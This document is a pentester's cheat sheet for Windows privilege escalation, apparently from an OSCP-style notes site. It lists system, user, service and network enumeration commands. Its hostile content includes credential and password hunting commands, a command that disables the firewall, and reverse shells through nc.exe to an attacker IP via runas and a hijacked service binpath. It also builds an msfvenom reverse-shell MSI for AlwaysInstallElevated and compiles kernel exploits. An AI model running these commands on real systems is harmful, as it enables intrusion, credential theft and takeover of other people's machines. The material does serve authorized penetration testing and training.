Windows Privilege Escalation

Enumeration 
OS Info Enumeration
systeminfo
hostname
echo %username%
wmic qfe -> check patches
wmic logicaldisk -> get other disk information
User Enumeration
whoami
whoami /priv -> check user privilleges
whoami /groups -> check user groups
net user -> list all users
net user <username> -> check groups associated with a user
net localgroup -> Check all the local groups available
net localgroup <group name> -> List the members of the given localgroup
Task | Service | Process Enumeration
sc queryex type= service (Lists all the service)
tasklist /SVC 
tasklist 
net start 
DRIVERQUERY
wmic product get name, version,  vendor
Permission Enumeration
C:\Program Files : icacls program_name
icacls root.txt /grant <username>:F (to grant permission to access file)
Check the PowerShell history file
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Check stored usernames and passwords
cmdkey /list
​
Network based
ipconfig
ipconfig /all
arp -a
router print
netstat -ano
​
Password Hunting
findstr /si password *.txt *.ini *.config (try searching in different directories)
dir /s *pass* == *cred* == *vnc* == *.config*
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
​Swisskyrepo for manual pwd enumeration​
​
AV / Firewall check / Service Enumeration
sc query windefend 
netsh advfirewall firewall dump
netsh advfirewall show currentprofile
netsh advfirewall firewall show rule name=all
netsh firewall show state (show firewall running or stopped)
netsh firewall show config (show firewall configuration)
​
netsh firewall set opmode disable # Disable firewall
Scheduled Tasks
schtasks /query /fo LIST /v
Mount Information
mountvol 
Escalation Techniques 
Service Account Priv Esc (Token Impersonation)
whoami /priv
Run As :
Use the cmdkey to list the stored credentials on the machine.
cmdkey /list
Currently stored credentials:
 Target: Domain:interactive=WORKGROUP\Administrator
 Type: Domain Password
 User: WORKGROUP\Administrator
Using runas with a provided set of credential.
runas /savecred /user:admin C:\PrivEsc\reverse.exe
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
Could not load image
Access check :
accesschk.exe -ucqv [service_name] /accepteula
accesschk.exe -uwcqv "Authenticated Users" * (won't yield anything on Win 8)
Find all weak folder permissions per drive.
accesschk.exe /accepteula -uwdqs Users c:\
accesschk.exe /accepteula -uwdqs "Authenticated Users" c:\
Find all weak file permissions per drive.
accesschk.exe /accepteula -uwsv "Everyone" "C:\Program Files"
accesschk.exe /accepteula -uwqs Users c:\*.*
accesschk.exe /accepteula -uwqs "Authenticated Users" c:\*.*
Powershell:
Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"}
Binary planting
 (https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services)
sc qc [service_name] // for service properties
sc query [service_name] // for service status
sc config [service_name] binpath= "C:\Temp\nc.exe -nv [RHOST] [RPORT] -e C:\WINDOWS\System32\cmd.exe"
sc config [service_name] obj= ".\LocalSystem" password= ""
net start [service_name]
Unquoted Service Path Privilege Escalation 
​https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/​
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
PATH directories with weak permissions
C:\Temp> for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
C:\Temp> for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"
​
C:\Temp> sc query state=all | findstr "SERVICE_NAME:" >> Servicenames.txt
C:\Temp> type Servicenames.txt
C:\Temp> FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt
C:\Temp> FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt
Always Install Elevated :
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
​
msfvenom -p windows/shell_reverse_tcp LHOST=10.x.x.x LPORT=4444 –f  msi > install.msi
​
C:> msiexec /quiet /qn /i  install.msi
Kernel Exploits :
​https://github.com/abatchy17/WindowsExploits​
​https://github.com/SecWiki/windows-kernel-exploits​
run systeminfo | capture the output and run windows-exploit-suggester.py
Compiling Kernel Exploits :
i686-w64-mingw32-gcc exploit.c -o exploit
or for 32 bit
i686-w64-mingw32-gcc 40564.c -o 40564 -lws2_32 
Automated Enumeration Tools
Could not load image
Powershell:
powershell -ep bypass
load powershell (only in meterpreter)
Sherlock (https://github.com/rasta-mouse/Sherlock)
​https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc (PowerUp)
EXE : (https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#exe)
WinPeas [ https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS ]
Accesschk.exe [https://github.com/jivoi/pentest/blob/master/post_win/accesschk_exe]
PowerUp (https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc)
Seatbelt (https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)
Other : Windows Exploit Suggester (https://github.com/AonCyberLabs/Windows-Exploit-Suggester)
Metasploit :
getsystem
run post/multi/recon/local_exploit_suggester
Resources :
​https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html​
​https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md​
​https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/​
​http://www.fuzzysecurity.com/tutorials/16.html​
​https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation (Win PrivEsc Checlist)
​https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/​
​
Escalation Methods
Linux Reverse Shells
Last modified 1yr ago